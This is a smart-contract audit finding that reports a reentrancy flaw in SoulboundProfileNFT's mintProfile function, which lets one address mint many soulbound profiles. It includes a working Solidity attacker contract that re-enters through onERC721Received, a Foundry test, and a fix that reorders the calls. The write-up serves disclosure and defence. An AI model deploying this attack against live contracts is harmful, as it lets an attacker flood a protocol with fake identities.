**Description:** The `mintProfile` function in `SoulboundProfileNFT` does not follow proper CEI and as a result, allows the user to mint multiple `SoulboundProfileNFT` tokens with the same address in a single transaction.
```javascript
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```
An attacker who interacts with `SoulboundProfileNFT` via a contract could include a `receive()` function that calls the `SoulboundProfileNFT::mintProfile` function again and mint another profile token. They could continue to cycle this until they run out of gas.
**Impact:** An attacker would have multiple SoulboundProfileNFT with the same address, potentially flooding the protocol with fake profiles.
**Proof of Concept:**
1. Attacker set up a contract that accepts receiving ERC721 tokens : `ERC721Holder`.
2. Attacker calls `ReentrancyAttacker::attack` from their contract, minting the desired number of SoulboundProfileNFT.
<details>
<summary>Proof of code</summary>
Add the following import at the top of `testSoulboundProfileNFT.t.sol` :
```javascript
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
```
Add the following code at the end of the testing contract `testSoulboundProfileNFT.t.sol::SoulboundProfileNFTTest` :
```javascript
function testReentrancyMinter() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(
address(soulboundNFT)
);
attacker.attack();
// assert that user can mint more than 1 profile (10 in this example)
assertEq(soulboundNFT.balanceOf(address(attacker)), 10);
}
```
Add the following attacker contract at the end of `testSoulboundProfileNFT.t.sol` :
```javascript
contract ReentrancyAttacker is ERC721Holder {
SoulboundProfileNFT soulboundNFT;
uint8 private soulboundNFTToMint;
uint8 private soulboundNFTMinted;
constructor(address _soulboundNFT) {
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
soulboundNFTToMint = 10;
soulboundNFTMinted = 0;
}
function attack() external payable {
soulboundNFTMinted++;
soulboundNFT.mintProfile("Attack", 100, "ipfs://notarealipfslink");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) public override returns (bytes4) {
uint8 fakeAge;
if (soulboundNFTMinted < soulboundNFTToMint) {
fakeAge = 21 + soulboundNFTMinted;
soulboundNFTMinted++;
soulboundNFT.mintProfile(
"Attack",
fakeAge,
"ipfs://notarealipfslink"
);
}
return this.onERC721Received.selector;
}
fallback() external {}
}
```
</details>
**Recommended Mitigation:** Move the `_safeMint` function to the end of the function to ensure that the state is updated before minting the token.
```diff
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```